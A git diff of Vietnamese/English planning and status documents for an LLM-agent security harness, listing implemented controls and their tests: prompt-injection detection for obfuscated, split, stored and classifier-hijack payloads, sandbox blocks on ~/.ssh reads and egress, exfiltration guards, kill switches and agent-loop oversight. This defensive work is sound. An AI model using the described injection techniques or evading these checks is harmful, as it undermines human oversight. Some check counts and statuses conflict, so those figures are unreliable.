managed + on-call | 🟡 Docker lab ✅ (webhook emulator) | `alert-webhook` @ `:19092` nhận live POST. Prod: trỏ `CASAN_ALERT_WEBHOOK` tới Slack/PagerDuty + rota/on-call thật. | +| T2.5 | Billing-API telemetry thật | 🟡 Docker lab ✅ (billing API mock) | `billing-api` @ `:19093/usage`; `provider-usage-fetch.sh` import được provider telemetry. Prod: OpenAI/Anthropic usage API thật + key. | +| T2.6 | Sandbox: rootless/nsjail + base image CI | 🟡 (container isolation live via Docker) | Thêm profile nsjail/bubblewrap cho Linux CI (không cần Docker daemon); hardened base image tối thiểu. `sandbox-container.sh` đã có bản Docker. | + +## TIER 3 — Platform plans (INDEX 01–12, việc lớn nhiều phiên) 📋 + +| Plan | Trạng thái | Lõi cần làm (bước tiếp theo cho AI kế) | +|---|:--:|---| +| **10 Traceability + H3 Eval** | ✅ MVP done+test | Đã nối traceability vào Evidence Pack + **symbol/line-level refs** (missing symbol/line ⇒ gate FAIL, phase10 6/0 WSL) + enforce trong CI (`ci-harness-gate.sh`). Sau MVP: H3 eval-set độc lập (nhiều model) + enrich symbol refs cho FR-02→FR-05. | +| **03 Cloud patch** | 🟡 MVP done+test | `model-call.py` đã hỗ trợ `openai:` và `anthropic:` qua endpoint hard-pin + API key env; parser token usage và malformed payload có deterministic test. Còn live smoke với key thật + billing usage API ground truth. | +| **02 LLM source-gen** | 🟡 đợt A MVP done+test | `01-srs` và `02-bd` hỗ trợ `CASAN_GEN_MODE=model`: gọi `model-router.sh --role generate`, scan H4 draft bằng `artifact-scan.sh`, validate token bắt buộc, fallback template nếu lỗi. Test `phase2-sourcegen` 3/0. Còn đợt B/C/D + full live pipeline smoke. | +| **04 Self-improve** | � core done+test | `.specify/scripts/bash/self-improve.py`: `propose` đọc metrics/drift → proposal dry-run (không ghi); `apply` bắt buộc approval, áp qua governed store (audit); sensitive/loosen luôn cần duyệt. `phase-selfimprove-tests.sh` 7/0 (WSL), nối CI. Còn: luật đề xuất phong phú hơn (corpus/model escalation), chạy định kỳ CI (05). | +| **05 CI/CD** | 🟡 CI gate MVP done | `.specify/scripts/bash/ci-harness-gate.sh` chạy các suite harness/hardening/sourcegen/traceability/frontend theo thứ tự an toàn, có timeout/filter; `.gitea/workflows/harness-ci.yml` gọi gate trên push/PR. Filtered local verify PASS=2/0. Còn: full gate xanh trên runner thật, xử lý A6 nếu còn chậm/treo, bật Docker infra lab nếu runner hỗ trợ, package/release artifact `fpt-casan-sdd-harness`. | +| **06 Onboard dự án 2** | 📋 chưa bắt đầu | Chứng minh reuse: cắm 1 repo khác + golden/corpus/input, đăng ký qua `verify-harness-reuse.sh`, không sửa gate. Phụ thuộc 01. | +| **08 Context compression** | � MVP done+test | **CASAN-native token-killer** (Track 3) đã có: `context-compress.py` (dedup/extractive/structural, must-keep, tee, gate fail-able), `phase08-compression-tests.sh` 7/0 (WSL), nối CI. Còn: Track 1 nén INPUT + Track 2 nén VIEW liên-bước + Track 4 abstractive (gated) + nối H4/H5 trong pipeline thật. | +| **12 Domain Pack SDK** | 📋 chưa bắt đầu | Onboard bằng khai báo (golden/corpus/policy theo domain). Phụ thuộc 01, 06. | +| **01 Restructure** | 📋 chưa bắt đầu | Tái cấu trúc thư mục Phase 0→6. Nền cho 06/12. Rủi ro cao (đụng nhiều path) → làm trên nhánh riêng, giữ 218/0. | +| **13 Control Plane** | 🟡 core done+test | **Sửa kiến trúc: là tài sản harness, KHÔNG nằm trong OKR.** Governance core đã dời vào harness: `.specify/scripts/bash/control-plane-settings.py` (settings versioned + audit hash-chain + deny-by-default + approval + rollback), `phase-control-plane-tests.sh` 7/0 (WSL), nối CI. Đã gỡ khỏi `apps/okr` (OKR sạch: 46/0/3skip + 16/16). Còn: web app React+NestJS độc lập `control-plane/` bọc harness core; RBAC đầy đủ (14); approval IdP (04+07-C4); FinOps/SLO; deploy prod (07 T2). | +| **14 RBAC** | � core done+test | RBAC decision engine trong harness: `.specify/scripts/bash/rbac-check.py` (role×resource:action, scope org/project, deny-by-default, tenant isolation, sensitive→org-admin, SoD), `phase-rbac-tests.sh` 10/0 (WSL), nối CI. **Đã thêm:** tenant data-boundary (SEC-23 23.13, org-admin A không đụng B) + **audit quyết định vào H5** (`CASAN_RBAC_AUDIT_LOG`, `phase-rbac-audit` 5/0). Còn: enforcement trong web app (13), ánh xạ IdP claim→role thật (07-C4). | +| **15 Responsible AI & Data Gov** | 🟡 core done+test+enforced | `rai-guard.py` (classify; PII→cloud deny; model-card; **retention** gate/purge-audit; **report** aggregate) + **enforcement** `harness-preflight.sh` chặn PII→cloud trước model-call, `model-router` opt-in `CASAN_PREFLIGHT`. `phase-rai` 12/0 + `phase-preflight` 5/0 (WSL), nối CI. Còn: view trên Control Plane. | +| Future B1–B6 | 💤 vision | `CASAN_PLAN_FUTURE_PHASES.md` — approval workflow nâng cao · state machine · model benchmark · governed memory · auto-remediation · platform KPI. | +| **17 Loop Engineering** | � T1–T6 done+test (offline) | **Agentic Loop Governance** — đủ 5 primitive + orchestrator (97/0 WSL, nối CI). T1 **Governor** (`loop-governor.py`; deny-by-default, no/corrupt policy→strict/HALT, on_exceed halt/escalate) 15/0; T2 **Convergence** (`loop-convergence.py`; repeat/thrash→OSCILLATING, flat→STALLED, fail-closed) 15/0; T3 **Verify Contract** (`loop-gate.py`; H4→DENY, unmet→FAIL, correction bounded→ESCALATE, no self-declared DONE) 20/0; T4 **Trace/Replay** (`loop-trace.py`; append-only hash-linked, edited→BREAK, tampered artifact→replay DRIFT) 16/0; T5 **Meta-loop** (`loop-metaloop.py`; propose≠apply, SoD, loosen>org_ceiling refused, apply qua governed CP store→đổi thật ceiling + rollback) 15/0; T6 **Orchestrator** (`loop-run.sh`; gate→governor→convergence→trace/turn, secure-by-default opt-out, nén giữa vòng) 16/0. State qua `CASAN_LOOP_STATE_ROOT` (repo `.specify/state` sạch). **Còn (infra):** T4 KMS-anchor head (A7 Vault), T6 widget Command Center (17.22, C5), live H3-judge. Chi tiết: `CASAN_PLAN_17_LOOP_ENGINEERING.md`. | +| **16 Security audit remediation** | � P0/P1/P2 phần lớn done+test | **Remediation đã thực thi:** 28 SEC suite (151/0 WSL, nối `ci-harness-gate.sh`). Done: SEC-01..10, 12, 13, **14** (model-digest bỏ env-override ở prod/strict), 15, 16..21, **22** (trusted-time JWT `exp` ARCH-06 + tag proposal nguồn-không-tin ARCH-08), **26** (stored/second-order injection scan), 27..30, **23 Phase 1–5 offline** (multi-tenant: tenant-store+guard · per-tenant CP/audit/telemetry · RBAC data-boundary · tenant kill-switch/quota · ký registry · crypt at-rest per-tenant), **24 offline** (image digest-pin + ký workflow), **25 offline** (artifact attestation tested==deployed); **SEC-11 gộp vào SEC-17** (`CASAN_PROFILE=prod` enforce-by-default). **Còn 📋 planned (hạ tầng/process):** SEC-22 ARCH-10 (attestation ngoài) · SEC-23 23.11 (crypt qua Vault Transit) · **SEC-24 còn** (live CVE/OSV + scan image thật — offline image-pin/ký-workflow đã done) · **SEC-25 còn** (signed-commit enrollment + SLSA chain — offline artifact-attestation đã done). Chi tiết: `CASAN_PLAN_16` §0a/§2d. | +| **18 Chat Console** | 📋 target arch xong · MVP-0 làm ngay | **Governed Chat Console** (cắt lát MVP chống lan man). **MVP-0 = Ask CASAN read-only** (Prompt Router `READ_ONLY/BLOCK`, context whitelist, H4 in/out, H5 audit, H6 token, trả lời kèm nguồn) — **không phụ thuộc Plan-17/14/SEC-23**, làm được ngay trên H4/H5/H6. Sau: MVP-1 operator (action-gate) → MVP-2 chat-as-loop + agent/skill (**cần Plan-17+14**) → MVP-3 multi-tenant (**cần SEC-23**). Bắt đầu: Track 0/1/2 (router+read-only+audit, WSL). Chi tiết: `CASAN_PLAN_18_CHAT_CONSOLE.md` §1b. | +--- + +## Trần điểm & điều kiện lên "Strong (81+)" +Harness thấp nhất = 80 (H5, H6). Docker local-prod lab đã chứng minh luồng infra +production-like chạy được trên Mac, nhưng để CẢ pipeline vào Strong vẫn cần bản **managed thật** +(enterprise IdP/JWKS, WORM-S3/QLDB, KMS default/HSM, dashboard deploy TLS/OIDC, managed alert/on-call, billing-API thật). +Các mục này cần key/dịch vụ ngoài nên chưa nên claim production Strong. + +## Cách kiểm chứng nhanh (bất kỳ AI kế nào) +```bash +cd AINative_OKR_CASAN5 +for s in run-casan4-harness adversarial-harness phase1-track-a phase2-track-c \ + phase3-evidence-pack phase-h5-approval phase-h5-infra phase-h6-agentops \ + phase-c7-incident phase-h4-multilingual phase-c6-sandbox phase-h4-split-inject \ + phase10-traceability; do + bash .specify/tests/$s-tests.sh >/dev/null 2>&1 && echo "$s OK" || echo "$s FAIL"; done +# KMS live cần Vault dev; C6 live cần Docker (không có thì SKIP, không fail). +bash .specify/tests/phase-prod-infra-lab-tests.sh # starts/verifies local-prod Docker lab +``` diff --git a/docs/plans/CASAN_HARDENING_STATUS.md b/docs/plans/CASAN_HARDENING_STATUS.md new file mode 100644 index 0000000..b98e883 --- /dev/null +++ b/docs/plans/CASAN_HARDENING_STATUS.md @@ -0,0 +1,168 @@ +# CASAN Production Hardening — Implementation Status + +> Live record of what has been **implemented and tested** from Plan-07 +> (Production Hardening) and Plan-09 (Evidence Pack), versus what is still +> **planned**. Honest by design: a control is only listed as done when it has an +> executable test that would fail if the control were removed. +> +> Labels: **[implemented+tested]** · **[scaffold+tested]** (works, but a stronger +> production form is documented as TODO) · **[planned]** (not built). +> +> **Vai trò file (single source of truth):** file này là **nguồn chuẩn cho "control +> nào đã implement+test"**. "Còn gì phải làm" → `CASAN_BACKLOG_STATUS.md` (có legend +> chuẩn + ánh xạ nhãn). Mục lục plan → `CASAN_PLAN_00_INDEX.md`. + +## 1. What is implemented now + +### Phase 1 — Plan-07 Track A (low-risk hardening) — [implemented+tested] + +| ID | Control | Where | Test | +|---|---|---|---| +| A1 | H4 semantic **strict fail-closed** (`CASAN_SECURITY_STRICT=1`): model unavailable ⇒ BLOCK, never silent SKIP; non-strict logs `SEMANTIC_SKIPPED` loudly | `security-check.sh` | phase1 A1 | +| A2 | H4 **unicode/encoding normalization**: NFKC + zero-width strip + homoglyph fold + base64/hex decode & rescan | `security-check.sh`, `unicode-normalize.py`, `decode-suspicious.py` | phase1 A2 | +| A3 | H4 **tool-output injection scan** before output re-enters model context (mode off/warn/block; strict⇒block) | `tool-output-scan.sh`, `casan-harness.sh` | phase1 A3 | +| A4 | H5 **telemetry integrity**: provider-usage + cost metrics bound to a signed manifest head (tamper ⇒ mismatch; re-forge ⇒ signature invalid) | `telemetry-integrity.sh`, `sign-audit-head.sh` | phase1 A4 | +| A5 | H6 **cost controls**: absolute per-call cap + cumulative budget + cold-start protection, keeping median×mult spike | `cost-spike-detect.sh` | phase1 A5 | +| A6 | **Benign corpus (EN/VI/JA, 95 samples) + FP budget gate**: FP ≤ 3%, adversarial block ≥ 95%, CRITICAL = 100% | `benign-fp-report.sh`, `benign-corpus/`, `redteam-vectors.jsonl` | phase1 A6 | + +### Phase 2 — Plan-07 Track C-MVP (production minimum bar) — mixed + +| ID | Control | Status | Where | Test | +|---|---|---|---|---| +| C1 | **Tool authorization / action gating** (ALLOW/WARN/REQUIRE_APPROVAL/BLOCK): sensitive-file writes, destructive/remote-exec commands, dep-install & network egress | [implemented+tested] | `action-gate.sh` | phase2 C1 | +| C2 | **Supply-chain gate**: manifest diff, denylist + typosquat + dangerous lifecycle-script block, new-dep approval, dep-diff report | [implemented+tested] | `supply-chain-gate.sh`, `supply-chain-scan.py` | phase2 C2 | +| C3 | **Data-exfil guard**: secret-to-cloud & artifact-leaks-env ⇒ BLOCK; PII-in-audit ⇒ mask | [implemented+tested] | `data-exfil-guard.sh` | phase2 C3 | +| C6 | **Runtime sandbox**: static policy block (read ~/.ssh, net egress, fork bomb, write-outside-workspace, huge-file) + ulimit/timeout backstops | [scaffold+tested] | `sandbox-run.sh` | phase2 C6 | + +### Phase 3 — Plan-09 Evidence Pack (MVP) — [implemented+tested] + +| Control | Where | Test | +|---|---|---| +| `casan pack` / `casan verify-pack` (mapped to `evidence-pack.sh`): standard 13-file pack incl. `traceability-matrix.json`, hash manifest, signed head, tamper-evident verify, certified-run gate (no false certification, no silent skip) | `evidence-pack.sh`, `evidence-pack-build.py`, `evidence-pack-verify.py` | phase3-evidence-pack | + +### Phase 4 — H5 governance hardening (raises the lowest harness) — mixed + +| ID | Control | Status | Where | Test | +|---|---|---|---|---| +| C4 | **Approval-identity + mock IdP/OIDC**: high-risk approval trusted only when a REGISTERED reviewer signs the request OR an IdP-signed RS256 JWT proves approver identity/role/expiry and binds to this request — env-var approver no longer enough (SoD still enforced) | [implemented+tested] (mock IdP; production JWKS still planned) | `approval-sign.sh`, `approval-jwt-mint.py`, `approval-verify.sh`, `reviewers.registry`, `governance-check.sh` (`CASAN_APPROVAL_STRICT=1`) | phase-h5-approval (12) | +| B3 | **KMS key management**: sign audit/telemetry head via Vault Transit (key `exportable:false` → never leaves KMS) + key **rotation**; validated live | [implemented+tested] (live when Vault present; skip-aware otherwise) | `vault-kms.sh` (`rotate`, `assert-nonexportable`), `sign-audit-head.sh` | phase-h5-infra (KMS) | +| C5 | **External WORM audit**: ship audit head to a hash-linked append-only ledger; detect local rollback (`AUDIT_GAP_DETECTED`) and ledger tamper (`AUDIT_LEDGER_TAMPERED`) | [implemented+tested] (local ledger MVP) | `worm-ledger.py`, `audit-ship.sh`, `verify-audit-gap.sh` | phase-h5-infra (WORM) | + +### Phase 5 — H6 AgentOps hardening (raises the lowest harness) — mixed + +| ID | Control | Status | Where | Test | +|---|---|---|---|---| +| D1 | **Live alert dispatch**: alerts POST to a real HTTP webhook (severity routing, dedup window, retry); undelivered alerts fail-loud (`ALERT_DELIVERY_FAILED`, strict) and queue to a **dead-letter** file with redelivery (`--flush-deadletter`); wired into `agent-metrics.sh` (failing step ⇒ live page) | [implemented+tested] (live local webhook; production points at Slack/PagerDuty + on-call) | `alert-dispatch.sh`, `agent-metrics.sh` | phase-h6-agentops (①) | +| D2 | **Provider-telemetry API + reconciliation**: pull usage from a provider usage HTTP API (all-or-nothing schema gate, `PROVIDER_API_UNREACHABLE`/`PROVIDER_USAGE_INVALID` fail-loud) + reconcile local metrics vs provider ground truth — under-reporting/hidden runs ⇒ `TELEMETRY_DISCREPANCY` | [implemented+tested] (live local API endpoint; production points at OpenAI/Anthropic usage APIs) | `provider-usage-fetch.sh`, `telemetry-reconcile.sh` | phase-h6-agentops (②) | +| D3 | **Hosted dashboard**: dashboard served over HTTP with a stale-aware `/healthz` probe (fresh ⇒ 200 ok; telemetry silent-death ⇒ 503 stale — page-able by any uptime monitor) | [implemented+tested] (local HTTP daemon; production host = nginx/container, same routes) | `dashboard-serve.sh`, `dashboard-server.py` | phase-h6-agentops (③) | +| D4 | **Sliding-window circuit breaker (V15)**: failure **rate** over the last N calls trips `CIRCUIT_OPEN_WINDOW` — interleaving successes no longer evades the consecutive-failure breaker | [implemented+tested] | `circuit-breaker-check.sh` | phase-h6-agentops (④) | + +### Phase 6 — Deep-gap closers (Track B + C6/C7, post-competition) — mixed + +| ID | Control | Status | Where | Test | +|---|---|---|---|---| +| C7 | **Incident response + kill-switch (V23)**: `incident.sh raise` grades severity (LOW/MED/HIGH/CRIT via `incident-severity.map`), records a routed entry (owner), and for HIGH/CRIT auto-engages the scoped `kill-switch.sh` (project/model/provider/global) + fires an alert; `casan-harness.sh` refuses to run under an engaged switch (opt-in) | [implemented+tested] | `incident.sh`, `kill-switch.sh`, `incident-runbook.md`, `incident-severity.map` | phase-c7-incident (15) | +| B1 | **Multilingual VI/JA injection (V2)**: VI/JA block-patterns (matched on raw UTF-8, anchored on the injection object) catch injections English regex missed, with 0 false positives on the benign VI/JA corpus | [implemented+tested] | `prompt-filter.yaml` (PI-VI-*, PI-JA-*) | phase-h4-multilingual (7) | +| C6 | **TRUE runtime isolation (V22)**: container sandbox (`--network=none --read-only --pids-limit --cap-drop=ALL`, workspace-only mount) — the kernel neutralises host-file reads / egress / out-of-workspace writes; upgrades the static scaffold | [implemented+tested] (live via Docker; skip-aware) | `sandbox-container.sh`, `sandbox-run.sh` (`CASAN_SANDBOX_MODE=container`) | phase-c6-sandbox (6) | +| B2 | **Split + classifier injection (V5,V6)**: `context-assemble-scan.sh` scans the concatenated context so a payload split across benign pieces is caught on assembly; verdict-steering patterns (PI-CLS-*) block content that tries to hijack the evaluator | [implemented+tested] | `context-assemble-scan.sh`, `prompt-filter.yaml` (PI-CLS-*) | phase-h4-split-inject (8) | +| B4 | **Model-digest pinning (V16)**: approved Ollama model digest pinned; router verifies live digest before generation/classify/judge; mismatch blocks by default with warn mode for rollout | [implemented+tested] | `model-digest-check.sh`, `model-call.py`, `.specify/security/model-digest.pin` | phase3-model-router (digest cases) | +| Plan-10 | **Traceability REQ→code→test**: parse `FR-*`, require code+test mapping per FR, generate matrix, include it in Evidence Pack, **plus symbol/line-level refs** (object form `{file,symbols,lines}`; missing symbol/line ⇒ gate FAIL) | [implemented+tested] | `traceability-matrix.py`, `.specify/traceability-map.json`, `docs/output/casan/traceability-matrix.json` | phase10-traceability (6) | + +### Phase 7 — Local production-like infra lab (Tier-2 emulation) — [implemented+tested] + +| Control | Status | Where | Test | +|---|---|---|---| +| Docker Compose lab for Vault KMS, OIDC/JWKS IdP, MinIO Object Lock WORM, dashboard behind nginx basic auth, alert webhook, and provider billing API mock | [implemented+tested] (local-prod emulation; managed prod services still required for Strong claim) | `infra/local-prod/docker-compose.yml`, `infra-lab.sh` | phase-prod-infra-lab (2); `infra-lab verify` internal 7/0 | + +### Phase 8 — Plan-16 security-audit remediation (P0/P1/P2) — mixed + +> Adversarial audit of the harness scripts (`CASAN_PLAN_16`) turned into fixes. +> Each control listed has an executable fail-able test in `.specify/tests/phase-sec*` +> wired into `ci-harness-gate.sh`. **24 SEC suites = 118 checks, 0 fail (WSL).** + +| ID | Control | Status | Where | Test | +|---|---|---|---|---| +| SEC-01 | **Unsigned = FAIL** in enforced mode (verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack): tamper→recompute→strip-sig no longer passes | [implemented+tested] | those verifiers (`CASAN_VERIFY_STRICT`/prod) | phase-sec01 (10) | +| SEC-02 | **KMS-anchor** for heads, no local auto-gen key in enforced mode | [implemented+tested] | `vault-kms.sh`, `sign-audit-head.sh` | phase-sec02 (3) | +| SEC-03 | **rollback-manager**: no `bash -c`, structured argv only (RCE closed) | [implemented+tested] | `rollback-manager.sh` | phase-sec03 (3) | +| SEC-04 | **action-gate fail-closed**: Python RC checked, default DENY | [implemented+tested] | `action-gate.sh` | phase-sec04 (4) | +| SEC-05 | **JSON-safe writers** (no log-injection forged records) | [implemented+tested] | `governance-check.sh`, `agent-metrics.sh`, `incident.sh` | phase-sec05 (4) | +| SEC-06 | **Control-plane / governance-report signed head** (no false CERTIFIED) | [implemented+tested] | `control-plane-settings.py`, `governance-report.py` | phase-sec06 (5) | +| SEC-07..10 | **Approval-JWT**, **pii fail-closed**, **input-caps/fail-closed read**, **non-spoofable identity** | [implemented+tested] | supply-chain/self-improve/CP · `pii-mask.py` · security-check/drift/compress · tool-registry/agent-metrics | phase-sec07/08/09/10 (7/4/7/5) | +| SEC-11 | **Enforce-by-default** (tool-output-scan/kill-switch/preflight) | ✅ **consolidated into SEC-17** | `CASAN_PROFILE=prod` | phase-sec17 | +| SEC-12..15 | **drift-invariant**, **SSRF allowlist**, **model-digest env-override ignored in prod** (SEC-14), **low-cluster** (typosquat≤2 / tool-exec fail-closed / nested schema recursion) | [implemented+tested] | drift-detect · provider-usage-fetch/JWKS/dashboard · `model-digest-check.sh` · supply-chain-scan/tool-exec/validate-tool-input | phase-sec12/13/14/15 (5/6/5/7) | +| SEC-16..21 | **bundle-integrity** (ARCH-01), **prod-profile enforce-by-default** (ARCH-03), **test-integrity** (ARCH-02), **atomic-store flock** (ARCH-05), **toolchain path-pin** (ARCH-04), **model/run budget** (ARCH-07) | [implemented+tested] | `bundle-integrity.py`, `test-integrity.py`, atomic writes, `toolchain-verify.sh`, budget checks | phase-sec16..21 (6/6/5/4/5/4) | +| SEC-27..30 | **log control-char strip** (X-02), **path-traversal realpath** (X-04), **audit fail-closed on disk-fail** (X-05), **approval-replay nonce/jti** (X-06) | [implemented+tested] | log writers, path-guard, audit append, `approval-verify.sh` | phase-sec27..30 (3/4/3/3) | +| SEC-26 | **stored / second-order injection** (X-01): scan golden-runs/red-team corpus/traceability-map/requirement with H4 before prompt-load; stored injection → BLOCK, missing source → fail-closed | [implemented+tested] | `stored-content-scan.sh` (→ `artifact-scan.sh`) | phase-sec26 (5) | +| SEC-22 | ARCH-06 **trusted-time for `exp`** (clock-skew defeated; file error fail-closed) + ARCH-08 **untrusted-telemetry tag** in self-improve (unsigned metrics → untrusted; enforced apply of an untrusted proposal BLOCKED). ARCH-10 external attestation is an external track (like TIER-2) | [implemented+tested] | `approval-verify.sh`, `self-improve.py` | phase-sec22 (9) | +| SEC-23 | MT-01/02/03/04 **multi-tenant partition** (Phase 1–5 offline): tenant-store + cross-tenant guard + secure-by-default; per-tenant control-plane settings/audit-chain + telemetry; RBAC data-boundary + casan-harness tenant-scoping; tenant kill-switch + per-tenant cost/quota; **signed tenant registry** (unsigned/tampered/forged → refuse); **per-tenant encryption at rest** (local-key; tenant B cannot read tenant A's plaintext). Only 23.11 (Vault Transit non-exportable) needs infra | [implemented+tested] (offline; 23.11 KMS planned) | `tenant-store.sh`, `tenant-paths.sh`, `tenant-registry-verify.sh`, `tenant-crypt.sh`, `control-plane-settings.py`, `rbac-check.py`, `casan-harness.sh`, `kill-switch.sh`, `cost-spike-detect.sh` | phase-sec23-tenant-store (10), -state-isolation (9), -rbac-tenant (6), -scope (4), -registry-crypt (7) | +| SEC-24 | SC-05/06 (offline): **image digest-pin lint** (reject floating tags) + **signed/verified CI workflow** (unsigned/tampered/forged → refuse). Live CVE/OSV + real image scan need infra | [partial] | `supply-chain-integrity.sh` | phase-sec24 (8) | +| SEC-25 | SC-07 (offline): **build-artifact attestation** — sign artifact hash + verify tested==deployed (swap/forged/unsigned → refuse). Signed-commit enrollment + full SLSA chain need CI/key infra | [partial] | `artifact-attest.sh` | phase-sec25 (5) | +| SEC-24 | SC-04/05/06: SCA + pin runner/base-image + signed workflow | [planned] | — | — | +| SEC-25 | SC-07: signed commits + SLSA-style attestation | [planned] | — | — | +| SEC-26 | X-01: scan golden/corpus/map with H4 on prompt-load (stored injection) | [implemented+tested] | `stored-content-scan.sh` | phase-sec26 (5) | + +## 2. Test inventory (all suites) + +| Suite | Checks | Purpose | +|---|---|---| +| `run-casan4-harness-tests.sh` | 35 | Baseline happy-path + Level-5 evidence (unchanged) | +| `adversarial-harness-tests.sh` | 44 | Original adversarial battery (unchanged) | +| `phase1-track-a-tests.sh` | 25 | Track A hardening | +| `phase2-track-c-tests.sh` | 29 | Track C-MVP | +| `phase3-evidence-pack-tests.sh` | 7 | Evidence Pack MVP | +| `phase-h5-approval-tests.sh` | 12 | Approval-identity (C4) + mock IdP/OIDC JWT | +| `phase-h5-infra-tests.sh` | 7 | KMS (B3, live/skip-aware) + WORM (C5) | +| `phase-h6-agentops-tests.sh` | 20 | live alerting (D1) + provider-API/reconcile (D2) + hosted dashboard (D3) + window breaker (D4); against live local HTTP endpoints | +| `phase-c7-incident-tests.sh` | 15 | **New** — incident severity + scoped kill-switch (C7) + wrapper enforcement | +| `phase-h4-multilingual-tests.sh` | 7 | **New** — VI/JA injection block + benign VI/JA 0-FP (B1) | +| `phase-c6-sandbox-tests.sh` | 6 | **New** — TRUE container isolation (C6, live via Docker / skip-aware) | +| `phase-h4-split-inject-tests.sh` | 8 | **New** — split-injection assembly scan + classifier-inject (B2) | +| `phase10-traceability-tests.sh` | 6 | **New** — Plan-10 FR→code→test matrix + fail-able missing-test gate + **symbol/line-level** refs (missing symbol/line ⇒ FAIL) | +| `phase08-compression-tests.sh` | 9 | **New** — Plan-08 CASAN-native token-killer: dedup/extractive/structural + must-keep preserve + tee raw-passthrough + fail-able must-keep gate + **settings-govern-harness** (compression.enabled) | +| `phase-control-plane-tests.sh` | 9 | **New** — Plan-13 harness-owned governed settings: deny-by-default + approval gate + versioning/rollback + audit hash-chain tamper detection + effective-setting resolver | +| `phase-rbac-tests.sh` | 12 | **New** — Plan-14 harness-owned RBAC: deny-by-default + action gating + tenant isolation + sensitive-requires-org-admin + Separation of Duties + IdP-claim→role mapping | +| `phase-rbac-audit-tests.sh` | 5 | **New** — Plan-14 RBAC decision audit into an H5-style oversight log (ALLOW/DENY recorded, append-only, cross-tenant reason; opt-in `CASAN_RBAC_AUDIT_LOG`) | +| `phase-rai-tests.sh` | 12 | **New** — Plan-15 harness-owned Responsible AI & Data Governance: data classification + PII→cloud denial without approval + model-card enforcement + retention gate/purge-audit + RAI aggregate report | +| `phase-selfimprove-tests.sh` | 7 | **New** — Plan-04 self-improve core: telemetry→proposal (dry-run) + apply-requires-approval + governed-store application + sensitive-needs-approval | +| `phase-governance-report-tests.sh` | 5 | **New** — Plan-09 tie-in: unified governance evidence report (traceability+RBAC+RAI+audit+self-improve) + certified-run gate (tampered audit ⇒ NOT_CERTIFIED) | +| `phase-preflight-tests.sh` | 5 | **New** — Plan-15/13 enforcement wiring: harness preflight blocks PII→cloud without approval BEFORE the model call; `model-router` honors `CASAN_PREFLIGHT` (opt-in, short-circuits) | +| `phase-prod-infra-lab-tests.sh` | 2 | **New optional/local-prod** — Docker Compose infra lab starts + verifies Vault/IdP/MinIO/dashboard/alert/billing | +| `phase-sec{01..30}` + `phase-sec23-tenant-store/-state-isolation/-rbac-tenant/-scope/-registry-crypt` + `phase-sec24` + `phase-sec25` (33 suites) | 181 | **New — Plan-16 security-audit remediation P0/P1/P2** (each control has a fail-able adversarial test; wired into `ci-harness-gate.sh`): SEC-01..21 P0/P1/arch controls; trusted-time for JWT exp + untrusted-telemetry tag (SEC-22, ARCH-06/08); **multi-tenant partition (SEC-23 Phase 1–5 offline, MT-01/02/03/04)**; **supply-chain image-pin + signed workflow (SEC-24 offline)**; **build-artifact attestation tested==deployed (SEC-25 offline)**; stored/second-order injection scan (SEC-26); log control-char strip, path-traversal, audit fail-closed, approval-replay nonce (SEC-27..30) | +| `phase-loop-governor` + `phase-loop-convergence` + `phase-loop-gate` + `phase-loop-trace` + `phase-loop-metaloop` + `phase-loop-run` (6 suites) | 97 | **New — Plan-17 Agentic Loop Governance T1–T6** (deny-by-default, fail-closed; wired into `ci-harness-gate.sh`; state redirected via `CASAN_LOOP_STATE_ROOT`, repo `.specify/state` stays clean): **Loop Budget Governor** (loop-breaker: no/corrupt policy → strict ceiling/HALT, on_exceed halt/escalate) 15; **Convergence detector** (repeat/thrash → OSCILLATING, flat progress → STALLED, fail-closed) 15; **Per-iteration Verify Contract** (H4 block → DENY, unmet → FAIL, bounded correction → ESCALATE, no self-declared DONE) 20; **Loop Trace/Replay** (append-only hash-linked; edited record → chain BREAK; tampered artifact → replay DRIFT; KMS-anchor is TIER-2/A7) 16; **Meta-loop** (propose≠apply; SoD proposer≠approver; loosen>org-ceiling refused; applied via governed CP store → actually changes governor; rollback reverts) 15; **Orchestrator** `loop-run.sh` (gate→governor→convergence→trace per turn; DONE/HALT/ESCALATE; secure-by-default prod opt-out refused; between-turn compaction) 16 | +| **Total** | **563 core + 2 local-prod infra lab** | Baseline 79 preserved; +206 governance checks (traceability/compression/control-plane/RBAC/RBAC-audit/RAI/self-improve/governance-report/preflight) + **+181 Plan-16 SEC-remediation checks across 33 suites** (all fail-able; SEC-11⊂SEC-17; SEC-22 done ARCH-06/08 — ARCH-10 external; **SEC-23 Phase 1–5 offline done — only 23.11 Vault-KMS planned**; **SEC-24/25 offline slice done — live-CVE/image-scan + signed-commit/SLSA need infra**) + **+97 Plan-17 loop-engineering checks across 6 suites** (Governor/Convergence/Verify-contract/Trace-Replay/Meta-loop/Orchestrator — all 5 loop primitives + orchestrator, fail-closed; remaining infra-gated: T4 KMS-anchor head [A7], T6 Command Center widget 17.22 [C5], live H3-judge). Full-suite green verified on CI/Mac with Ollama+Docker; the deterministic new suites verify **in WSL** (msys+Python Windows path skew). Preflight wiring is opt-in (`CASAN_PREFLIGHT` default off). Direct `phase3-model-router-tests.sh` adds 11/0 (3 cases need live Ollama); `infra-lab verify` adds 7 internal infra checks. | + +Run order note: `run-casan4-harness-tests.sh` does `rm -rf .specify/logs`, so run it +**first** and never concurrently with the other suites. + +## 3. What is NOT done (still planned — do not claim as production-ready) + +| Area | Status | Plan ref | +|---|---|---| +| Production model provenance beyond local Ollama digest | [partial] — local model digest pinning is implemented+tested; cloud provider model attestations/SBOM-style provenance still planned | Plan-07 B4 (V16) | +| Live alerting to a managed channel (Slack/PagerDuty + on-call rota) | [partial] — webhook dispatch + dedup + dead-letter done; managed channel & escalation are config away, incident workflow is C7 | Plan-07 C7 / Phase 5 D1 | +| Hosted telemetry dashboard | [partial] — HTTP-served dashboard + stale-aware `/healthz` done locally; deployed host (nginx/container, auth) planned | Phase 5 D3 | +| Provider billing-API telemetry | [partial] — API fetch + schema gate + local-vs-provider reconciliation done against a live local endpoint; real OpenAI/Anthropic usage-API calls (needs keys) planned | Phase 5 D2 | +| True runtime isolation | [partial] — real container isolation done + validated live via Docker (C6 phase-6); nsjail/rootless + a hardened base image for CI still planned | Plan-07 C6 (V22) | +| KMS key management (rotation, non-exportable) | [partial] — Vault Transit path implemented + validated live; not yet the default (local-key fallback), no HSM/short-lived IdP tokens | Plan-07 B3 | +| Reviewer approval workflow | [partial] — cryptographic **approval-identity** done + Docker mock **IdP/OIDC JWKS** done; enterprise IdP/JWKS + policy versioning/diff still planned | Plan-07 C4 (V20) | +| External append-only (WORM) audit | [partial] 